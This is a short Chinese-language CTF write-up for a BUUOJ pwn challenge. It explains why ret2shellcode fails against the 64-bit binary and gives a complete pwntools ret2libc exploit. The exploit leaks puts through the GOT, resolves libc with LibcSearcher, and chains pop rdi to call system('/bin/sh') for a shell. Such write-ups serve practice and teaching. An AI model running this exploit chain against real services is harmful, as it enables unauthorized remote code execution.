开局:典型的ret2libc,
老规矩,file 文件
64位的小段存储
发现NX unknown(想到了ret2shellcode)
上IDA
发现有个name的全局变量(bss),这个时候就想到用ret2shellcode,但是实际上是不行的,因为这个name的bss不具有x权限
这个时候就可以确定ret2shellcode不行
shift+f12发现没有system和binsh等字符串,因此就需要用到ret2libc,这里的puts正好提前被使用了
下面的exploit如下:
from pwn import*
from LibcSearcher import *
sh = process('./a')
sh = remote('node5.buuoj.cn',26924)
elf = ELF('./a')
ret = 0x4004c9
pop_rdi_ret = 0x400713
main = 0x400636
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
sh.recvline()
sh.sendline(b'aaaa')
sh.recvline()
sh.recvline()
payload = b'a'*(0x28) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
sh.sendline(payload)
put_add = u64(sh.recvuntil('\n')[:-1].ljust(8,b'\0'))
print(hex(put_add))
libc = LibcSearcher('puts', put_add)
base = put_add - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
sh.recvline()
sh.sendline(b'aaaa')
sh.recvline()
sh.recvline()
payload1 = b'a' * (0x28) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(sys)
sh.sendline(payload1)
sh.interactive()